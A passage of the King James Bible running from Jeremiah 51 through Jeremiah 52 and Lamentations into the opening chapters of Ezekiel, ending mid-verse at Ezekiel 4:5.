and I will dry up her sea, and make her +springs dry. + +51:37 And Babylon shall become heaps, a dwellingplace for dragons, an +astonishment, and an hissing, without an inhabitant. + +51:38 They shall roar together like lions: they shall yell as lions' +whelps. + +51:39 In their heat I will make their feasts, and I will make them +drunken, that they may rejoice, and sleep a perpetual sleep, and not +wake, saith the LORD. + +51:40 I will bring them down like lambs to the slaughter, like rams +with he goats. + +51:41 How is Sheshach taken! and how is the praise of the whole earth +surprised! how is Babylon become an astonishment among the nations! +51:42 The sea is come up upon Babylon: she is covered with the +multitude of the waves thereof. + +51:43 Her cities are a desolation, a dry land, and a wilderness, a +land wherein no man dwelleth, neither doth any son of man pass +thereby. + +51:44 And I will punish Bel in Babylon, and I will bring forth out of +his mouth that which he hath swallowed up: and the nations shall not +flow together any more unto him: yea, the wall of Babylon shall fall. + +51:45 My people, go ye out of the midst of her, and deliver ye every +man his soul from the fierce anger of the LORD. + +51:46 And lest your heart faint, and ye fear for the rumour that shall +be heard in the land; a rumour shall both come one year, and after +that in another year shall come a rumour, and violence in the land, +ruler against ruler. + +51:47 Therefore, behold, the days come, that I will do judgment upon +the graven images of Babylon: and her whole land shall be confounded, +and all her slain shall fall in the midst of her. + +51:48 Then the heaven and the earth, and all that is therein, shall +sing for Babylon: for the spoilers shall come unto her from the north, +saith the LORD. + +51:49 As Babylon hath caused the slain of Israel to fall, so at +Babylon shall fall the slain of all the earth. + +51:50 Ye that have escaped the sword, go away, stand not still: +remember the LORD afar off, and let Jerusalem come into your mind. + +51:51 We are confounded, because we have heard reproach: shame hath +covered our faces: for strangers are come into the sanctuaries of the +LORD's house. + +51:52 Wherefore, behold, the days come, saith the LORD, that I will do +judgment upon her graven images: and through all her land the wounded +shall groan. + +51:53 Though Babylon should mount up to heaven, and though she should +fortify the height of her strength, yet from me shall spoilers come +unto her, saith the LORD. + +51:54 A sound of a cry cometh from Babylon, and great destruction from +the land of the Chaldeans: 51:55 Because the LORD hath spoiled +Babylon, and destroyed out of her the great voice; when her waves do +roar like great waters, a noise of their voice is uttered: 51:56 +Because the spoiler is come upon her, even upon Babylon, and her +mighty men are taken, every one of their bows is broken: for the LORD +God of recompences shall surely requite. + +51:57 And I will make drunk her princes, and her wise men, her +captains, and her rulers, and her mighty men: and they shall sleep a +perpetual sleep, and not wake, saith the King, whose name is the LORD +of hosts. + +51:58 Thus saith the LORD of hosts; The broad walls of Babylon shall +be utterly broken, and her high gates shall be burned with fire; and +the people shall labour in vain, and the folk in the fire, and they +shall be weary. + +51:59 The word which Jeremiah the prophet commanded Seraiah the son of +Neriah, the son of Maaseiah, when he went with Zedekiah the king of +Judah into Babylon in the fourth year of his reign. And this Seraiah +was a quiet prince. + +51:60 So Jeremiah wrote in a book all the evil that should come upon +Babylon, even all these words that are written against Babylon. + +51:61 And Jeremiah said to Seraiah, When thou comest to Babylon, and +shalt see, and shalt read all these words; 51:62 Then shalt thou say, +O LORD, thou hast spoken against this place, to cut it off, that none +shall remain in it, neither man nor beast, but that it shall be +desolate for ever. + +51:63 And it shall be, when thou hast made an end of reading this +book, that thou shalt bind a stone to it, and cast it into the midst +of Euphrates: 51:64 And thou shalt say, Thus shall Babylon sink, and +shall not rise from the evil that I will bring upon her: and they +shall be weary. Thus far are the words of Jeremiah. + +52:1 Zedekiah was one and twenty years old when he began to reign, and +he reigned eleven years in Jerusalem. And his mother's name was +Hamutal the daughter of Jeremiah of Libnah. + +52:2 And he did that which was evil in the eyes of the LORD, according +to all that Jehoiakim had done. + +52:3 For through the anger of the LORD it came to pass in Jerusalem +and Judah, till he had cast them out from his presence, that Zedekiah +rebelled against the king of Babylon. + +52:4 And it came to pass in the ninth year of his reign, in the tenth +month, in the tenth day of the month, that Nebuchadrezzar king of +Babylon came, he and all his army, against Jerusalem, and pitched +against it, and built forts against it round about. + +52:5 So the city was besieged unto the eleventh year of king Zedekiah. + +52:6 And in the fourth month, in the ninth day of the month, the +famine was sore in the city, so that there was no bread for the people +of the land. + +52:7 Then the city was broken up, and all the men of war fled, and +went forth out of the city by night by the way of the gate between the +two walls, which was by the king's garden; (now the Chaldeans were by +the city round about:) and they went by the way of the plain. + +52:8 But the army of the Chaldeans pursued after the king, and +overtook Zedekiah in the plains of Jericho; and all his army was +scattered from him. + +52:9 Then they took the king, and carried him up unto the king of +Babylon to Riblah in the land of Hamath; where he gave judgment upon +him. + +52:10 And the king of Babylon slew the sons of Zedekiah before his +eyes: he slew also all the princes of Judah in Riblah. + +52:11 Then he put out the eyes of Zedekiah; and the king of Babylon +bound him in chains, and carried him to Babylon, and put him in prison +till the day of his death. + +52:12 Now in the fifth month, in the tenth day of the month, which was +the nineteenth year of Nebuchadrezzar king of Babylon, came +Nebuzaradan, captain of the guard, which served the king of Babylon, +into Jerusalem, 52:13 And burned the house of the LORD, and the king's +house; and all the houses of Jerusalem, and all the houses of the +great men, burned he with fire: 52:14 And all the army of the +Chaldeans, that were with the captain of the guard, brake down all the +walls of Jerusalem round about. + +52:15 Then Nebuzaradan the captain of the guard carried away captive +certain of the poor of the people, and the residue of the people that +remained in the city, and those that fell away, that fell to the king +of Babylon, and the rest of the multitude. + +52:16 But Nebuzaradan the captain of the guard left certain of the +poor of the land for vinedressers and for husbandmen. + +52:17 Also the pillars of brass that were in the house of the LORD, +and the bases, and the brasen sea that was in the house of the LORD, +the Chaldeans brake, and carried all the brass of them to Babylon. + +52:18 The caldrons also, and the shovels, and the snuffers, and the +bowls, and the spoons, and all the vessels of brass wherewith they +ministered, took they away. + +52:19 And the basons, and the firepans, and the bowls, and the +caldrons, and the candlesticks, and the spoons, and the cups; that +which was of gold in gold, and that which was of silver in silver, +took the captain of the guard away. + +52:20 The two pillars, one sea, and twelve brasen bulls that were +under the bases, which king Solomon had made in the house of the LORD: +the brass of all these vessels was without weight. + +52:21 And concerning the pillars, the height of one pillar was +eighteen cubits; and a fillet of twelve cubits did compass it; and the +thickness thereof was four fingers: it was hollow. + +52:22 And a chapiter of brass was upon it; and the height of one +chapiter was five cubits, with network and pomegranates upon the +chapiters round about, all of brass. The second pillar also and the +pomegranates were like unto these. + +52:23 And there were ninety and six pomegranates on a side; and all +the pomegranates upon the network were an hundred round about. + +52:24 And the captain of the guard took Seraiah the chief priest, and +Zephaniah the second priest, and the three keepers of the door: 52:25 +He took also out of the city an eunuch, which had the charge of the +men of war; and seven men of them that were near the king's person, +which were found in the city; and the principal scribe of the host, +who mustered the people of the land; and threescore men of the people +of the land, that were found in the midst of the city. + +52:26 So Nebuzaradan the captain of the guard took them, and brought +them to the king of Babylon to Riblah. + +52:27 And the king of Babylon smote them, and put them to death in +Riblah in the land of Hamath. Thus Judah was carried away captive out +of his own land. + +52:28 This is the people whom Nebuchadrezzar carried away captive: in +the seventh year three thousand Jews and three and twenty: 52:29 In +the eighteenth year of Nebuchadrezzar he carried away captive from +Jerusalem eight hundred thirty and two persons: 52:30 In the three and +twentieth year of Nebuchadrezzar Nebuzaradan the captain of the guard +carried away captive of the Jews seven hundred forty and five persons: +all the persons were four thousand and six hundred. + +52:31 And it came to pass in the seven and thirtieth year of the +captivity of Jehoiachin king of Judah, in the twelfth month, in the +five and twentieth day of the month, that Evilmerodach king of Babylon +in the first year of his reign lifted up the head of Jehoiachin king +of Judah, and brought him forth out of prison. + +52:32 And spake kindly unto him, and set his throne above the throne +of the kings that were with him in Babylon, 52:33 And changed his +prison garments: and he did continually eat bread before him all the +days of his life. + +52:34 And for his diet, there was a continual diet given him of the +king of Babylon, every day a portion until the day of his death, all +the days of his life. + + + + +The Lamentations of Jeremiah + + +1:1 How doth the city sit solitary, that was full of people! how is +she become as a widow! she that was great among the nations, and +princess among the provinces, how is she become tributary! 1:2 She +weepeth sore in the night, and her tears are on her cheeks: among all +her lovers she hath none to comfort her: all her friends have dealt +treacherously with her, they are become her enemies. + +1:3 Judah is gone into captivity because of affliction, and because of +great servitude: she dwelleth among the heathen, she findeth no rest: +all her persecutors overtook her between the straits. + +1:4 The ways of Zion do mourn, because none come to the solemn feasts: +all her gates are desolate: her priests sigh, her virgins are +afflicted, and she is in bitterness. + +1:5 Her adversaries are the chief, her enemies prosper; for the LORD +hath afflicted her for the multitude of her transgressions: her +children are gone into captivity before the enemy. + +1:6 And from the daughter of Zion all her beauty is departed: her +princes are become like harts that find no pasture, and they are gone +without strength before the pursuer. + +1:7 Jerusalem remembered in the days of her affliction and of her +miseries all her pleasant things that she had in the days of old, when +her people fell into the hand of the enemy, and none did help her: the +adversaries saw her, and did mock at her sabbaths. + +1:8 Jerusalem hath grievously sinned; therefore she is removed: all +that honoured her despise her, because they have seen her nakedness: +yea, she sigheth, and turneth backward. + +1:9 Her filthiness is in her skirts; she remembereth not her last end; +therefore she came down wonderfully: she had no comforter. O LORD, +behold my affliction: for the enemy hath magnified himself. + +1:10 The adversary hath spread out his hand upon all her pleasant +things: for she hath seen that the heathen entered into her sanctuary, +whom thou didst command that they should not enter into thy +congregation. + +1:11 All her people sigh, they seek bread; they have given their +pleasant things for meat to relieve the soul: see, O LORD, and +consider; for I am become vile. + +1:12 Is it nothing to you, all ye that pass by? behold, and see if +there be any sorrow like unto my sorrow, which is done unto me, +wherewith the LORD hath afflicted me in the day of his fierce anger. + +1:13 From above hath he sent fire into my bones, and it prevaileth +against them: he hath spread a net for my feet, he hath turned me +back: he hath made me desolate and faint all the day. + +1:14 The yoke of my transgressions is bound by his hand: they are +wreathed, and come up upon my neck: he hath made my strength to fall, +the LORD hath delivered me into their hands, from whom I am not able +to rise up. + +1:15 The LORD hath trodden under foot all my mighty men in the midst +of me: he hath called an assembly against me to crush my young men: +the LORD hath trodden the virgin, the daughter of Judah, as in a +winepress. + +1:16 For these things I weep; mine eye, mine eye runneth down with +water, because the comforter that should relieve my soul is far from +me: my children are desolate, because the enemy prevailed. + +1:17 Zion spreadeth forth her hands, and there is none to comfort her: +the LORD hath commanded concerning Jacob, that his adversaries should +be round about him: Jerusalem is as a menstruous woman among them. + +1:18 The LORD is righteous; for I have rebelled against his +commandment: hear, I pray you, all people, and behold my sorrow: my +virgins and my young men are gone into captivity. + +1:19 I called for my lovers, but they deceived me: my priests and mine +elders gave up the ghost in the city, while they sought their meat to +relieve their souls. + +1:20 Behold, O LORD; for I am in distress: my bowels are troubled; +mine heart is turned within me; for I have grievously rebelled: abroad +the sword bereaveth, at home there is as death. + +1:21 They have heard that I sigh: there is none to comfort me: all +mine enemies have heard of my trouble; they are glad that thou hast +done it: thou wilt bring the day that thou hast called, and they shall +be like unto me. + +1:22 Let all their wickedness come before thee; and do unto them, as +thou hast done unto me for all my transgressions: for my sighs are +many, and my heart is faint. + +2:1 How hath the LORD covered the daughter of Zion with a cloud in his +anger, and cast down from heaven unto the earth the beauty of Israel, +and remembered not his footstool in the day of his anger! 2:2 The +LORD hath swallowed up all the habitations of Jacob, and hath not +pitied: he hath thrown down in his wrath the strong holds of the +daughter of Judah; he hath brought them down to the ground: he hath +polluted the kingdom and the princes thereof. + +2:3 He hath cut off in his fierce anger all the horn of Israel: he +hath drawn back his right hand from before the enemy, and he burned +against Jacob like a flaming fire, which devoureth round about. + +2:4 He hath bent his bow like an enemy: he stood with his right hand +as an adversary, and slew all that were pleasant to the eye in the +tabernacle of the daughter of Zion: he poured out his fury like fire. + +2:5 The LORD was as an enemy: he hath swallowed up Israel, he hath +swallowed up all her palaces: he hath destroyed his strong holds, and +hath increased in the daughter of Judah mourning and lamentation. + +2:6 And he hath violently taken away his tabernacle, as if it were of +a garden: he hath destroyed his places of the assembly: the LORD hath +caused the solemn feasts and sabbaths to be forgotten in Zion, and +hath despised in the indignation of his anger the king and the priest. + +2:7 The LORD hath cast off his altar, he hath abhorred his sanctuary, +he hath given up into the hand of the enemy the walls of her palaces; +they have made a noise in the house of the LORD, as in the day of a +solemn feast. + +2:8 The LORD hath purposed to destroy the wall of the daughter of +Zion: he hath stretched out a line, he hath not withdrawn his hand +from destroying: therefore he made the rampart and the wall to lament; +they languished together. + +2:9 Her gates are sunk into the ground; he hath destroyed and broken +her bars: her king and her princes are among the Gentiles: the law is +no more; her prophets also find no vision from the LORD. + +2:10 The elders of the daughter of Zion sit upon the ground, and keep +silence: they have cast up dust upon their heads; they have girded +themselves with sackcloth: the virgins of Jerusalem hang down their +heads to the ground. + +2:11 Mine eyes do fail with tears, my bowels are troubled, my liver is +poured upon the earth, for the destruction of the daughter of my +people; because the children and the sucklings swoon in the streets of +the city. + +2:12 They say to their mothers, Where is corn and wine? when they +swooned as the wounded in the streets of the city, when their soul was +poured out into their mothers' bosom. + +2:13 What thing shall I take to witness for thee? what thing shall I +liken to thee, O daughter of Jerusalem? what shall I equal to thee, +that I may comfort thee, O virgin daughter of Zion? for thy breach is +great like the sea: who can heal thee? 2:14 Thy prophets have seen +vain and foolish things for thee: and they have not discovered thine +iniquity, to turn away thy captivity; but have seen for thee false +burdens and causes of banishment. + +2:15 All that pass by clap their hands at thee; they hiss and wag +their head at the daughter of Jerusalem, saying, Is this the city that +men call The perfection of beauty, The joy of the whole earth? 2:16 +All thine enemies have opened their mouth against thee: they hiss and +gnash the teeth: they say, We have swallowed her up: certainly this is +the day that we looked for; we have found, we have seen it. + +2:17 The LORD hath done that which he had devised; he hath fulfilled +his word that he had commanded in the days of old: he hath thrown +down, and hath not pitied: and he hath caused thine enemy to rejoice +over thee, he hath set up the horn of thine adversaries. + +2:18 Their heart cried unto the LORD, O wall of the daughter of Zion, +let tears run down like a river day and night: give thyself no rest; +let not the apple of thine eye cease. + +2:19 Arise, cry out in the night: in the beginning of the watches pour +out thine heart like water before the face of the LORD: lift up thy +hands toward him for the life of thy young children, that faint for +hunger in the top of every street. + +2:20 Behold, O LORD, and consider to whom thou hast done this. Shall +the women eat their fruit, and children of a span long? shall the +priest and the prophet be slain in the sanctuary of the Lord? 2:21 +The young and the old lie on the ground in the streets: my virgins and +my young men are fallen by the sword; thou hast slain them in the day +of thine anger; thou hast killed, and not pitied. + +2:22 Thou hast called as in a solemn day my terrors round about, so +that in the day of the LORD's anger none escaped nor remained: those +that I have swaddled and brought up hath mine enemy consumed. + +3:1 I AM the man that hath seen affliction by the rod of his wrath. + +3:2 He hath led me, and brought me into darkness, but not into light. + +3:3 Surely against me is he turned; he turneth his hand against me all +the day. + +3:4 My flesh and my skin hath he made old; he hath broken my bones. + +3:5 He hath builded against me, and compassed me with gall and +travail. + +3:6 He hath set me in dark places, as they that be dead of old. + +3:7 He hath hedged me about, that I cannot get out: he hath made my +chain heavy. + +3:8 Also when I cry and shout, he shutteth out my prayer. + +3:9 He hath inclosed my ways with hewn stone, he hath made my paths +crooked. + +3:10 He was unto me as a bear lying in wait, and as a lion in secret +places. + +3:11 He hath turned aside my ways, and pulled me in pieces: he hath +made me desolate. + +3:12 He hath bent his bow, and set me as a mark for the arrow. + +3:13 He hath caused the arrows of his quiver to enter into my reins. + +3:14 I was a derision to all my people; and their song all the day. + +3:15 He hath filled me with bitterness, he hath made me drunken with +wormwood. + +3:16 He hath also broken my teeth with gravel stones, he hath covered +me with ashes. + +3:17 And thou hast removed my soul far off from peace: I forgat +prosperity. + +3:18 And I said, My strength and my hope is perished from the LORD: +3:19 Remembering mine affliction and my misery, the wormwood and the +gall. + +3:20 My soul hath them still in remembrance, and is humbled in me. + +3:21 This I recall to my mind, therefore have I hope. + +3:22 It is of the LORD's mercies that we are not consumed, because his +compassions fail not. + +3:23 They are new every morning: great is thy faithfulness. + +3:24 The LORD is my portion, saith my soul; therefore will I hope in +him. + +3:25 The LORD is good unto them that wait for him, to the soul that +seeketh him. + +3:26 It is good that a man should both hope and quietly wait for the +salvation of the LORD. + +3:27 It is good for a man that he bear the yoke of his youth. + +3:28 He sitteth alone and keepeth silence, because he hath borne it +upon him. + +3:29 He putteth his mouth in the dust; if so be there may be hope. + +3:30 He giveth his cheek to him that smiteth him: he is filled full +with reproach. + +3:31 For the LORD will not cast off for ever: 3:32 But though he cause +grief, yet will he have compassion according to the multitude of his +mercies. + +3:33 For he doth not afflict willingly nor grieve the children of men. + +3:34 To crush under his feet all the prisoners of the earth. + +3:35 To turn aside the right of a man before the face of the most +High, 3:36 To subvert a man in his cause, the LORD approveth not. + +3:37 Who is he that saith, and it cometh to pass, when the Lord +commandeth it not? 3:38 Out of the mouth of the most High proceedeth +not evil and good? 3:39 Wherefore doth a living man complain, a man +for the punishment of his sins? 3:40 Let us search and try our ways, +and turn again to the LORD. + +3:41 Let us lift up our heart with our hands unto God in the heavens. + +3:42 We have transgressed and have rebelled: thou hast not pardoned. + +3:43 Thou hast covered with anger, and persecuted us: thou hast slain, +thou hast not pitied. + +3:44 Thou hast covered thyself with a cloud, that our prayer should +not pass through. + +3:45 Thou hast made us as the offscouring and refuse in the midst of +the people. + +3:46 All our enemies have opened their mouths against us. + +3:47 Fear and a snare is come upon us, desolation and destruction. + +3:48 Mine eye runneth down with rivers of water for the destruction of +the daughter of my people. + +3:49 Mine eye trickleth down, and ceaseth not, without any +intermission. + +3:50 Till the LORD look down, and behold from heaven. + +3:51 Mine eye affecteth mine heart because of all the daughters of my +city. + +3:52 Mine enemies chased me sore, like a bird, without cause. + +3:53 They have cut off my life in the dungeon, and cast a stone upon +me. + +3:54 Waters flowed over mine head; then I said, I am cut off. + +3:55 I called upon thy name, O LORD, out of the low dungeon. + +3:56 Thou hast heard my voice: hide not thine ear at my breathing, at +my cry. + +3:57 Thou drewest near in the day that I called upon thee: thou +saidst, Fear not. + +3:58 O LORD, thou hast pleaded the causes of my soul; thou hast +redeemed my life. + +3:59 O LORD, thou hast seen my wrong: judge thou my cause. + +3:60 Thou hast seen all their vengeance and all their imaginations +against me. + +3:61 Thou hast heard their reproach, O LORD, and all their +imaginations against me; 3:62 The lips of those that rose up against +me, and their device against me all the day. + +3:63 Behold their sitting down, and their rising up; I am their +musick. + +3:64 Render unto them a recompence, O LORD, according to the work of +their hands. + +3:65 Give them sorrow of heart, thy curse unto them. + +3:66 Persecute and destroy them in anger from under the heavens of the +LORD. + +4:1 How is the gold become dim! how is the most fine gold changed! the +stones of the sanctuary are poured out in the top of every street. + +4:2 The precious sons of Zion, comparable to fine gold, how are they +esteemed as earthen pitchers, the work of the hands of the potter! +4:3 Even the sea monsters draw out the breast, they give suck to their +young ones: the daughter of my people is become cruel, like the +ostriches in the wilderness. + +4:4 The tongue of the sucking child cleaveth to the roof of his mouth +for thirst: the young children ask bread, and no man breaketh it unto +them. + +4:5 They that did feed delicately are desolate in the streets: they +that were brought up in scarlet embrace dunghills. + +4:6 For the punishment of the iniquity of the daughter of my people is +greater than the punishment of the sin of Sodom, that was overthrown +as in a moment, and no hands stayed on her. + +4:7 Her Nazarites were purer than snow, they were whiter than milk, +they were more ruddy in body than rubies, their polishing was of +sapphire: 4:8 Their visage is blacker than a coal; they are not known +in the streets: their skin cleaveth to their bones; it is withered, it +is become like a stick. + +4:9 They that be slain with the sword are better than they that be +slain with hunger: for these pine away, stricken through for want of +the fruits of the field. + +4:10 The hands of the pitiful women have sodden their own children: +they were their meat in the destruction of the daughter of my people. + +4:11 The LORD hath accomplished his fury; he hath poured out his +fierce anger, and hath kindled a fire in Zion, and it hath devoured +the foundations thereof. + +4:12 The kings of the earth, and all the inhabitants of the world, +would not have believed that the adversary and the enemy should have +entered into the gates of Jerusalem. + +4:13 For the sins of her prophets, and the iniquities of her priests, +that have shed the blood of the just in the midst of her, 4:14 They +have wandered as blind men in the streets, they have polluted +themselves with blood, so that men could not touch their garments. + +4:15 They cried unto them, Depart ye; it is unclean; depart, depart, +touch not: when they fled away and wandered, they said among the +heathen, They shall no more sojourn there. + +4:16 The anger of the LORD hath divided them; he will no more regard +them: they respected not the persons of the priests, they favoured not +the elders. + +4:17 As for us, our eyes as yet failed for our vain help: in our +watching we have watched for a nation that could not save us. + +4:18 They hunt our steps, that we cannot go in our streets: our end is +near, our days are fulfilled; for our end is come. + +4:19 Our persecutors are swifter than the eagles of the heaven: they +pursued us upon the mountains, they laid wait for us in the +wilderness. + +4:20 The breath of our nostrils, the anointed of the LORD, was taken +in their pits, of whom we said, Under his shadow we shall live among +the heathen. + +4:21 Rejoice and be glad, O daughter of Edom, that dwellest in the +land of Uz; the cup also shall pass through unto thee: thou shalt be +drunken, and shalt make thyself naked. + +4:22 The punishment of thine iniquity is accomplished, O daughter of +Zion; he will no more carry thee away into captivity: he will visit +thine iniquity, O daughter of Edom; he will discover thy sins. + +5:1 Remember, O LORD, what is come upon us: consider, and behold our +reproach. + +5:2 Our inheritance is turned to strangers, our houses to aliens. + +5:3 We are orphans and fatherless, our mothers are as widows. + +5:4 We have drunken our water for money; our wood is sold unto us. + +5:5 Our necks are under persecution: we labour, and have no rest. + +5:6 We have given the hand to the Egyptians, and to the Assyrians, to +be satisfied with bread. + +5:7 Our fathers have sinned, and are not; and we have borne their +iniquities. + +5:8 Servants have ruled over us: there is none that doth deliver us +out of their hand. + +5:9 We gat our bread with the peril of our lives because of the sword +of the wilderness. + +5:10 Our skin was black like an oven because of the terrible famine. + +5:11 They ravished the women in Zion, and the maids in the cities of +Judah. + +5:12 Princes are hanged up by their hand: the faces of elders were not +honoured. + +5:13 They took the young men to grind, and the children fell under the +wood. + +5:14 The elders have ceased from the gate, the young men from their +musick. + +5:15 The joy of our heart is ceased; our dance is turned into +mourning. + +5:16 The crown is fallen from our head: woe unto us, that we have +sinned! 5:17 For this our heart is faint; for these things our eyes +are dim. + +5:18 Because of the mountain of Zion, which is desolate, the foxes +walk upon it. + +5:19 Thou, O LORD, remainest for ever; thy throne from generation to +generation. + +5:20 Wherefore dost thou forget us for ever, and forsake us so long +time? 5:21 Turn thou us unto thee, O LORD, and we shall be turned; +renew our days as of old. + +5:22 But thou hast utterly rejected us; thou art very wroth against us. + + + + +The Book of the Prophet Ezekiel + + +1:1 Now it came to pass in the thirtieth year, in the fourth month, +in the fifth day of the month, as I was among the captives by the river +of Chebar, that the heavens were opened, and I saw visions of God. + +1:2 In the fifth day of the month, which was the fifth year of king +Jehoiachin's captivity, 1:3 The word of the LORD came expressly unto +Ezekiel the priest, the son of Buzi, in the land of the Chaldeans by +the river Chebar; and the hand of the LORD was there upon him. + +1:4 And I looked, and, behold, a whirlwind came out of the north, a +great cloud, and a fire infolding itself, and a brightness was about +it, and out of the midst thereof as the colour of amber, out of the +midst of the fire. + +1:5 Also out of the midst thereof came the likeness of four living +creatures. And this was their appearance; they had the likeness of a +man. + +1:6 And every one had four faces, and every one had four wings. + +1:7 And their feet were straight feet; and the sole of their feet was +like the sole of a calf's foot: and they sparkled like the colour of +burnished brass. + +1:8 And they had the hands of a man under their wings on their four +sides; and they four had their faces and their wings. + +1:9 Their wings were joined one to another; they turned not when they +went; they went every one straight forward. + +1:10 As for the likeness of their faces, they four had the face of a +man, and the face of a lion, on the right side: and they four had the +face of an ox on the left side; they four also had the face of an +eagle. + +1:11 Thus were their faces: and their wings were stretched upward; two +wings of every one were joined one to another, and two covered their +bodies. + +1:12 And they went every one straight forward: whither the spirit was +to go, they went; and they turned not when they went. + +1:13 As for the likeness of the living creatures, their appearance was +like burning coals of fire, and like the appearance of lamps: it went +up and down among the living creatures; and the fire was bright, and +out of the fire went forth lightning. + +1:14 And the living creatures ran and returned as the appearance of a +flash of lightning. + +1:15 Now as I beheld the living creatures, behold one wheel upon the +earth by the living creatures, with his four faces. + +1:16 The appearance of the wheels and their work was like unto the +colour of a beryl: and they four had one likeness: and their +appearance and their work was as it were a wheel in the middle of a +wheel. + +1:17 When they went, they went upon their four sides: and they turned +not when they went. + +1:18 As for their rings, they were so high that they were dreadful; +and their rings were full of eyes round about them four. + +1:19 And when the living creatures went, the wheels went by them: and +when the living creatures were lifted up from the earth, the wheels +were lifted up. + +1:20 Whithersoever the spirit was to go, they went, thither was their +spirit to go; and the wheels were lifted up over against them: for the +spirit of the living creature was in the wheels. + +1:21 When those went, these went; and when those stood, these stood; +and when those were lifted up from the earth, the wheels were lifted +up over against them: for the spirit of the living creature was in the +wheels. + +1:22 And the likeness of the firmament upon the heads of the living +creature was as the colour of the terrible crystal, stretched forth +over their heads above. + +1:23 And under the firmament were their wings straight, the one toward +the other: every one had two, which covered on this side, and every +one had two, which covered on that side, their bodies. + +1:24 And when they went, I heard the noise of their wings, like the +noise of great waters, as the voice of the Almighty, the voice of +speech, as the noise of an host: when they stood, they let down their +wings. + +1:25 And there was a voice from the firmament that was over their +heads, when they stood, and had let down their wings. + +1:26 And above the firmament that was over their heads was the +likeness of a throne, as the appearance of a sapphire stone: and upon +the likeness of the throne was the likeness as the appearance of a man +above upon it. + +1:27 And I saw as the colour of amber, as the appearance of fire round +about within it, from the appearance of his loins even upward, and +from the appearance of his loins even downward, I saw as it were the +appearance of fire, and it had brightness round about. + +1:28 As the appearance of the bow that is in the cloud in the day of +rain, so was the appearance of the brightness round about. This was +the appearance of the likeness of the glory of the LORD. And when I +saw it, I fell upon my face, and I heard a voice of one that spake. + +2:1 And he said unto me, Son of man, stand upon thy feet, and I will +speak unto thee. + +2:2 And the spirit entered into me when he spake unto me, and set me +upon my feet, that I heard him that spake unto me. + +2:3 And he said unto me, Son of man, I send thee to the children of +Israel, to a rebellious nation that hath rebelled against me: they and +their fathers have transgressed against me, even unto this very day. + +2:4 For they are impudent children and stiffhearted. I do send thee +unto them; and thou shalt say unto them, Thus saith the Lord GOD. + +2:5 And they, whether they will hear, or whether they will forbear, +(for they are a rebellious house,) yet shall know that there hath been +a prophet among them. + +2:6 And thou, son of man, be not afraid of them, neither be afraid of +their words, though briers and thorns be with thee, and thou dost +dwell among scorpions: be not afraid of their words, nor be dismayed +at their looks, though they be a rebellious house. + +2:7 And thou shalt speak my words unto them, whether they will hear, +or whether they will forbear: for they are most rebellious. + +2:8 But thou, son of man, hear what I say unto thee; Be not thou +rebellious like that rebellious house: open thy mouth, and eat that I +give thee. + +2:9 And when I looked, behold, an hand was sent unto me; and, lo, a +roll of a book was therein; 2:10 And he spread it before me; and it +was written within and without: and there was written therein +lamentations, and mourning, and woe. + +3:1 Moreover he said unto me, Son of man, eat that thou findest; eat +this roll, and go speak unto the house of Israel. + +3:2 So I opened my mouth, and he caused me to eat that roll. + +3:3 And he said unto me, Son of man, cause thy belly to eat, and fill +thy bowels with this roll that I give thee. Then did I eat it; and it +was in my mouth as honey for sweetness. + +3:4 And he said unto me, Son of man, go, get thee unto the house of +Israel, and speak with my words unto them. + +3:5 For thou art not sent to a people of a strange speech and of an +hard language, but to the house of Israel; 3:6 Not to many people of a +strange speech and of an hard language, whose words thou canst not +understand. Surely, had I sent thee to them, they would have hearkened +unto thee. + +3:7 But the house of Israel will not hearken unto thee; for they will +not hearken unto me: for all the house of Israel are impudent and +hardhearted. + +3:8 Behold, I have made thy face strong against their faces, and thy +forehead strong against their foreheads. + +3:9 As an adamant harder than flint have I made thy forehead: fear +them not, neither be dismayed at their looks, though they be a +rebellious house. + +3:10 Moreover he said unto me, Son of man, all my words that I shall +speak unto thee receive in thine heart, and hear with thine ears. + +3:11 And go, get thee to them of the captivity, unto the children of +thy people, and speak unto them, and tell them, Thus saith the Lord +GOD; whether they will hear, or whether they will forbear. + +3:12 Then the spirit took me up, and I heard behind me a voice of a +great rushing, saying, Blessed be the glory of the LORD from his +place. + +3:13 I heard also the noise of the wings of the living creatures that +touched one another, and the noise of the wheels over against them, +and a noise of a great rushing. + +3:14 So the spirit lifted me up, and took me away, and I went in +bitterness, in the heat of my spirit; but the hand of the LORD was +strong upon me. + +3:15 Then I came to them of the captivity at Telabib, that dwelt by +the river of Chebar, and I sat where they sat, and remained there +astonished among them seven days. + +3:16 And it came to pass at the end of seven days, that the word of +the LORD came unto me, saying, 3:17 Son of man, I have made thee a +watchman unto the house of Israel: therefore hear the word at my +mouth, and give them warning from me. + +3:18 When I say unto the wicked, Thou shalt surely die; and thou +givest him not warning, nor speakest to warn the wicked from his +wicked way, to save his life; the same wicked man shall die in his +iniquity; but his blood will I require at thine hand. + +3:19 Yet if thou warn the wicked, and he turn not from his wickedness, +nor from his wicked way, he shall die in his iniquity; but thou hast +delivered thy soul. + +3:20 Again, When a righteous man doth turn from his righteousness, and +commit iniquity, and I lay a stumbling-block before him, he shall die: +because thou hast not given him warning, he shall die in his sin, and +his righteousness which he hath done shall not be remembered; but his +blood will I require at thine hand. + +3:21 Nevertheless if thou warn the righteous man, that the righteous +sin not, and he doth not sin, he shall surely live, because he is +warned; also thou hast delivered thy soul. + +3:22 And the hand of the LORD was there upon me; and he said unto me, +Arise, go forth into the plain, and I will there talk with thee. + +3:23 Then I arose, and went forth into the plain: and, behold, the +glory of the LORD stood there, as the glory which I saw by the river +of Chebar: and I fell on my face. + +3:24 Then the spirit entered into me, and set me upon my feet, and +spake with me, and said unto me, Go, shut thyself within thine house. + +3:25 But thou, O son of man, behold, they shall put bands upon thee, +and shall bind thee with them, and thou shalt not go out among them: +3:26 And I will make thy tongue cleave to the roof of thy mouth, that +thou shalt be dumb, and shalt not be to them a reprover: for they are +a rebellious house. + +3:27 But when I speak with thee, I will open thy mouth, and thou shalt +say unto them, Thus saith the Lord GOD; He that heareth, let him hear; +and he that forbeareth, let him forbear: for they are a rebellious +house. + +4:1 Thou also, son of man, take thee a tile, and lay it before thee, +and pourtray upon it the city, even Jerusalem: 4:2 And lay siege +against it, and build a fort against it, and cast a mount against it; +set the camp also against it, and set battering rams against it round +about. + +4:3 Moreover take thou unto thee an iron pan, and set it for a wall of +iron between thee and the city: and set thy face against it, and it +shall be besieged, and thou shalt lay siege against it. This shall be +a sign to the house of Israel. + +4:4 Lie thou also upon thy left side, and lay the iniquity of the +house of Israel upon it: according to the number of the days that thou +shalt lie upon it thou shalt bear their iniquity. + +4:5 For I have laid upon thee the years of their iniquity, according +to the number of the days, three hundred and ninety days: so shalt 